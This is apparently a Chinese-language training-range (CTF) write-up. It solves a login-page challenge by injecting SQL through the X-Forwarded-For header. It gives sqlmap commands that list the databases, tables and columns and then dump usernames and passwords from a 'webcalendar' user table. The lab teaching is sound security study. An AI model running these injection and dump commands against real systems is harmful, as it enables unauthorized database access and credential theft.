0x00.題目描述:
背景介紹
某業務系統,安全工程師"墨者"進行授權黑盒測試,系統的業主單位也沒有給賬號密碼,怎么測?
實訓目標
1、掌握SQL注入的基本原理;
2、了解服務器獲取客戶端IP的方式;
3、了解SQL注入的工具使用;
解題方向
對登錄表單的各參數進行測試,找到SQL注入點,對數據庫內容進行讀取,找到賬號與密碼。
0x01.解題過程:
打開靶場環境,可以看到是一個后台管理登錄界面
輸入用戶名(admin)和密碼(admin)利用BurpSuite進行抓包分析,可以看到登錄失敗,並提示登錄的IP地址。
下面利用X-Forwoarded-For頭偽裝127.0.0.1進行測試,可以看到登錄地址成功變成127.0.0.1*
復制RAW文件到xff.txt中,這里構造的X-Forwarded-For值為*,經過測試構造為127.0.0.1利用sqlmap跑的時候不會去識別此地方,這里利用*代替后成功執行。
構造sqlmap語句爆出數據庫
sqlmap -r xff.txt --dbs --batch
構造sqlmap語句爆出數據庫webcalendar的表名
sqlmap -r xff.txt -D webcalendar --table --batch
構造sqlmap語句爆出user表的字段名
sqlmap -r xff.txt -D webcalendar -T user --columns --batch
構造sqlmap語句爆出username和password字段中的內容即可,這里就不劇透username和password的具體內容了。
sqlmap -r xff.txt -D webcalendar -T user -C 'username,password' --dump --batch
利用爆出的用戶名和密碼登錄即可獲得flag